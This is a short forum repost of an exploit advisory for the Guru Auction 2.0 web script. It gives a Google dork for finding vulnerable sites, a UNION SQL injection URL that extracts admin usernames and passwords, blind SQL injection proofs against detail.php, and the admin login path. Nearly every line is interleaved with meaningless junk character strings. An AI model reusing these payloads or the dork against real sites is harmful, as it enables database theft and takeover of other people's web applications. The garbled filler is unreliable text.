Guru Auction 2.0 Multiple SQL Injection Vulnerabilities
+ G y2 U3 q, H5 w3 {( d8 S( j7 f- g
作者 : v3n0m
- k8 A# `' k( R! l7 ^/ P应用 : Guru Auction 2.0
0 K3 s, N8 J2 Q" j/ XPrice : $49
" X* ?) k; m* _: ?+ }1 @- `- uVendor : http://www.guruscript.com/
4 u8 v5 ]! c9 i. ~* p tGoogle Dork : inurl:subcat.php?cate_id=0 L* @6 G0 V3 ~, a) I; r1 `$ [
1 G/ J+ [+ m" |* K( bSQLi p0c:7 ]( O' A0 K6 a: E
~~~~~~~~~~
2 H. g$ c: ]; @0 l4 u5 ]" d" Ahttp://domain.tld/[path]/subcat.php?cate_id=-9999+union+all+select+null,group_concat(user_name,char(58),password),null+from+admin--: o4 q% e& T6 B: q, F' k) ?
' |4 Q v! B$ B- Y2 y* w
, y1 n9 j d& y5 }盲注 p0c:+ g" S' r; ^) B4 ?4 F
~~~~~~~~~~
4 j% f" A0 t1 g: n& @http://www.political-security.com /[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=5 << true4 ]2 X/ k2 m; T, H+ K% e- }2 n3 H' h
http://domain.tld/[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=4 << false6 A4 r. f$ X3 P, @( `
; y4 E. V+ N0 a" A2 H1 }
管理登录入口: o2 W$ R! f/ f; G+ @* ]# y
~~~~~~~~~~
8 O; r" V& K) n- {. Fhttp://domain.tld/[path]/admin/
! v1 }; w$ d1 F$ U8 x' B |
发表于 2012-12-31 09:24:05
收藏
支持
反对